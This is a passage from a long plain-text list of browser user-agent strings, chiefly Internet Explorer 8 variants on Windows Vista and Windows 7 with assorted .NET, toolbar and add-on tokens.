OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 1.1.4322; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; FDM; .NET CLR 1.1.4322; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MS-RTC LM 8; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Tablet PC 2.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; Media Center PC 5.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1;)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SV1; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SV1; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; TencentTraveler 4.0; Trident/4.0; SLCC1; Media Center PC 5.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC1; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; chromeframe; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; FunWebProducts; GTB6.6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; WinNT-PAR 03.09.2009; .NET CLR 3.0.30729; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB0.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2; .NET CLR 1.1.4322; OfficeLiveConnector.1.4; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 1.1.4322; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 1.1.4322; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MSSDMC2.4.2011.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 1.1.4322; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; MS-RTC LM 8; .NET CLR 3.5.21022; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 3.5.21022; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729; Media Center PC 5.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 1.1.4322; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2; .NET CLR 3.5.30729; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) chromeframe/6.0.472.63\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; FDM)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Sleipnir/2.9.4)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729; .NET CLR 4.0.20506; OfficeLiveConnector.1.4; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; MS-RTC LM 8; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; FDM; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MSSDMC1.3.1020.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Win64; x64; Trident/4.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC1; Media Center PC 5.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC1; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC1; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC1; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Maxthon; Win64; x64; Trident/4.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; SV1; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Avant Browser; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB0.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; eSobiSubscriber 2.0.4.16; InfoPath.2; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB0.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.3; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.4; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.4; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.5; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; InfoPath.3; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.5; QQDownload 534; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.5; QQDownload 667; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; TheWorld)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; AskTbFWV5/5.9.1.14019)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; SLCC1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; SLCC1; Tablet PC 2.0; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; InfoPath.2; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C) chromef\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; .NET4.0C; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; chromeframe; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET4.0C; .NET4.0E; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.0.04506; SLCC1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; MS-RTC LM 8; InfoPath.2; yie9)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 2.7.83516; WOW64; en-US)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Tablet PC 2.0; .NET4.0E; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; AskTbFXTV5/5.15.4.23821)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.7.23956; WOW64; en-US)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 3.8.36926; WOW64; en-US)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; KKMAN3.2; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; MRA 5.7 (build 03797); SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; MathPlayer 2.20; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Media Center PC 3.1; SV1; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 4.0.20402; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; TheWorld)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; FDM; InfoPath.2; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; 